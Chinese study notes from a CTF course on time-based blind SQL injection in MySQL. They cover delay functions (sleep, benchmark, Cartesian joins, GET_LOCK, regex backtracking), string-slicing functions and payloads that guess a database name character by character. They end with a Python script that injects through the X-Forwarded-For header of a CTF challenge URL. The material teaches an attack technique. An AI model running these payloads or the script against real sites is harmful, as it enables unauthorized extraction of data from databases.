注:
1.本文是对安全牛《CTF从入门到提升》课程课时3,4的记录

基础知识

sleep函数

sleep(duration)

睡眠duration秒,返回0.若被中断则返回1

1
select * from users where id=1 and sleep(4);

if条件触发

IF(expr1,expr2,expr3)

如果expr1是TRUE的话,则返回值为expr2,否则返回expr3

1
select * from users where id=1 and if(database()='abc',sleep(4),null);

select case when条件触发

SQL CASE表达式是一种通用的条件表达式,类似于其他语言中的if/else语句

用法:

1
2
3
4
CASE WHEN condition THEN result
[WHEN...]
[ELSE result]
END

示例:

1
select case when username='admin' then 'admin' else 'xxx' end from users;
1
select case when username='admin' then 'aaa' else(sleep(3)) end from users;

截取函数

1.substring

1
2
3
4
substring(str,pos)
substring(str FROM pos)
substring(str,pos,len)
substring(str FROM pos FOR len)

2.substr

1
2
substr(string,start,length)
substr(string form start fro length)

3.substring_index

1
substring_index(被截取字段,关键字,关键字出现的次数)

4.mid

1
2
mid(column_name,start[,length])
mid(column_name from start to length)

5.left

1
2
left(str,length)
从左边开始截取字符串

6.right

1
2
right(str,length)
从右边开始截取字符串

正则表达式

1.rlike

1
select * from users where password rlike '^Du';

2.regexp

1
select * from users where password regexp '^Du';

除sleep外的延时

除了使用sleep函数外,还可以用其他方法进行延时

1.benchmark函数

1
BENCHMARK(count,expr)

benchmark函数会重复count次表达式expr。它可以用来计算mysql处理表达式的速度。返回值通常为0

这里可以利用它重复一个表达式多次达到延时的效果

示例:

1
select benchmark(10000000,sha(1));

2.笛卡尔积

和数学上的笛卡尔积类似,利用几个表”相乘”(行数相乘)达到延时的效果

1
select count(*) from information_schema.columns A,information_schema.columns B,information_schema.tables C;

注意使用笛卡尔积时很容易延时太久或太短,这个时候要选择其他的表或改变表的个数

3.GET_LOCK

1
2
GET_LOCK(str,timeout)
设法给字符串str给定的名字得到一个锁,超时为timeout秒

使用条件比较苛刻,需要打开第二个shell后才能有延时的效果
先在第一个shell中使用get_lock

1
select get_lock('a',1);

这时打开第二个shell

1
select get_lock('a',5);

发现有了5秒的延时效果

4.RLIKE

通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短

1
select if(substr((select 1)='1',1,1),concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1);

一些payload

猜解库名

1.直接猜解:

1
select * from users where id = 1 and (if(substr(database(),1,1)='s',sleep(4),null));

2.使用ascii码猜解:

1
select * from users where id = 1 and (if(ascii(substr(database(),1,1))=115,sleep(4),null));

3.使用benchmark函数:

1
select * from users where id = 1 and (if(ascii(substr(database(),1,1))=115,benchmark(10000000,sha(1)),null));

例题

http://ctf5.shiyanbar.com/web/wonderkun/index.php

不细讲了,直接给出猜解数据库名的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,@!$%^&*()_+{}-="
flag = ''

for i in range(1,50):
for x in dic:
headers = {"X-Forwarded-For":"1'+(select case when substring((select database()) from %d for 1)='%s' then sleep(4) else 1 end ) or '1 "%(i,x)}
try:
res = requests.get(url,headers=headers,timeout=4)
#res = requests.get(url,headers=headers,timeout=4,proxies={"http":"//127.0.0.1:8080"})
except requests.exceptions.ReadTimeout:
flag = flag + x
print(flag)
break
print(flag)